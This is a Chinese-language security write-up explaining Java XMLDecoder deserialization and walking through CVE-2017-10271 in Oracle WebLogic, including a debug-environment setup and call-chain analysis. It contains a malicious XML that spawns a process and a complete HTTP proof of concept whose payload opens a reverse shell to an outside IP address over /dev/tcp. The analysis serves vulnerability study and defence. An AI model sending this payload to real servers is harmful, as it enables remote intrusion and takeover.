XMLEncoder与 XMLDecoder
使用XMLEncoder
来生成表示JavaBeans
组件(bean)的XML
文档,用XMLDecoder
读取使用 XMLEncoder
创建的XML文档获取JavaBeans
•XMLEncoder示例
import javax.swing.*;
import java.beans.XMLEncoder;
import java.io.BufferedOutputStream;
import java.io.FileOutputStream;
public class xmlencoder {
public static void main(String[] args) throws Exception{
XMLEncoder a = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("test.xml")));
a.writeObject(new JButton("test.test"));
a.close();
}
}
生成的效果如下,在test.xml中
<java version="1.8.0_281" class="java.beans.XMLDecoder">
<object class="javax.swing.JButton">
<string>test.test</string>
</object>
</java>
•XMLDecoder示例
import javax.swing.*;
import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
public class xmlencoder {
public static void main(String[] args) throws Exception{
XMLDecoder j = new XMLDecoder(new BufferedInputStream(new FileInputStream("test.xml")));
Object result = j.readObject();
System.out.println(result);
j.close();
}
}
最终生成的打印结果为
javax.swing.JButton[,0,0,0x0,invalid,alignmentX=0.0,alignmentY=0.5,border=javax.swing.plaf.BorderUIResource$CompoundBorderUIResource@1b2c6ec2,flags=296,maximumSize=,minimumSize=,preferredSize=,defaultIcon=,disabledIcon=,disabledSelectedIcon=,margin=javax.swing.plaf.InsetsUIResource[top=2,left=14,bottom=2,right=14],paintBorder=true,paintFocus=true,pressedIcon=,rolloverEnabled=true,rolloverIcon=,rolloverSelectedIcon=,selectedIcon=,text=test.test,defaultCapable=true]
XML标签、属性
•string标签
test,test 字符串的在XML中表示方式为`<string>test.test</string>
•object标签
通过 <object>
标签表示对象, class
属性指定具体类(用于调用其内部方法), method
属性指定具体方法名称(比如构造函数的的方法名为 new
) new JButton("test,test")
对应的XML
文档:
<object class="javax.swing.JButton">
<void method="setText">
<string>test,test</string>
</void>
</object>
•void标签
通过 void
标签表示函数调用、赋值等操作, method
属性指定具体的方法名称。 JButton b = new JButton();b.setText("Hello, world");
对应的XML
文档:
<object class="javax.swing.JButton">
<void method="setText">
<string>Hello,xml</string>
</void>
</object>
•array标签
通过 array
标签表示数组, class
属性指定具体类,内部 void
标签的 index
属性表示根据指定数组索引赋值。String[] s = new String[3];s[1] = "Hello,xml";
对应的XML
文档:
<array class="java.lang.String" length="3">
<void index="1">
<string>Hello,xml</string>
</void>
</array>
XMLDecoder反序列化漏洞
•这里的示例代码还是使用原来的代码
public static void main(String[] args) throws Exception{
XMLDecoder j = new XMLDecoder(new BufferedInputStream(new FileInputStream("test.xml")));
Object result = j.readObject();
j.close();
}
•这里将原有的test.xml修改为恶意XML
<java version="1.8.0_112" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</void>
</java>
•运行弹出计算器
Weblogic Docker调试环境搭建
这里的docker我是使用的kali中的
•docker的8453开启,位于docker-compose.yml
version: '2'
services:
weblogic:
image: vulhub/weblogic
ports:
- "7001:7001"
- "8453:8453"
•下载运行镜像
•修改/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
添加代码
debugFlag="true"
export debugFlag
•重启docker
•把 weblogic的源码和jdk包都拷贝出来
docker cp 9bc5c6e5290c:/root ./test/
•拷贝到我的代码机器
•idea打开rootOracleMiddleware目录•把Middleware目录下所有的*.jar包都放在一个libjar的文件夹
find ./ -name *.jar -exec cp {} ./libjar/ ;
•idea中的jdk设置为环境自带的1.6
•idea添加依赖库
•远程调试
•开启debug
•下断点
•发包,出现这样的情况说明环境搭建成功
CVE-2017-10271
•受影响版本:
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.1.0
WebLogic 12.2.1.2.0
CVE-2017-3506与CVE-2017-10271均为XMLDecoder反序列化漏洞。CVE-2017-3506修补方案为禁用object标签。CVE-2017-10271是通过void、new标签对CVE-2017-3506补丁的绕过。
漏洞复现
•poc
POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: xxx.xxx.xxx.xxx:7001
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Content-Type: text/xml;charset=UTF-8
Content-Length: 648
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>/bin/sh -i > /dev/tcp/107.173.81.94/6666 2<&1 0<&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
漏洞分析
使用burp发包,查看返回包,查看调用链
•断点打到weblogic/wsee/jaxws/workcontext/WorkContextServerTube.class:37
•使用burp发包,进入断点,看到var1的值为传入的恶意数据,var2为message中的header,var3为获取WorkAreaConstants.WORK_AREA_HEADER=http://bea.com/2004/06/soap/workarea/
•var3不等于空,进入readHeaderOld
方法
weblogic/wsee/jaxws/workcontext/WorkContextTube.class:102
var2.nextTag(); 跳转到worktag
var2.nextTag(); 跳转到javatag
通过XMLStreamWriterFactory.create
函数获取恶意的Payload
到var4
中,var4
的字节数组输入流传入WorkContextXmlInputAdapter
的构造函数。
•weblogic/wsee/workarea/WorkContextXmlInputAdapter.class:19
public WorkContextXmlInputAdapter(InputStream var1) {
this.xmlDecoder = new XMLDecoder(var1);
}
将恶意的xml作为参数传入了XMLDecoder
的构造函数,然后返回一个WorkContextXmlInputAdapter
实例对象到上层的var6
,var6
作为参数传入receive
函数。
•weblogic/wsee/jaxws/workcontext/WorkContextServerTube.class:69
-WorkContextXmlInputAdapter
对象又被传入了WorkContextMapImpl
类的receiveRequest
方法。
•weblogic/workarea/WorkContextMapImpl.class:142
•weblogic/workarea/WorkContextLocalMap.class:162
又被传到receiveRequest
方法中
•workarea/spi/WorkContextEntryImpl.class:72
又被传到readEntry
方法中
String var1 = var0.readUTF();
•weblogic/wsee/workarea/WorkContextXmlInputAdapter.class:104
public String readUTF() throws IOException {
return (String)this.xmlDecoder.readObject();
}
触发this.xmlDecoder.readObject();
反序列化,完成代码执行
References
[1]
Weblogic XMLDecoder 漏洞触发链分析: https://zhuanlan.zhihu.com/p/112870627[2]
Java安全初遇-XMLDecoder与Weblogic齐活儿: https://xz.aliyun.com/t/8039
分享、点赞、在看就是对我们的一种支持!
本文始发于微信公众号(ChaBug):XMLDecoder反序列化与CVE-2017-10271
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论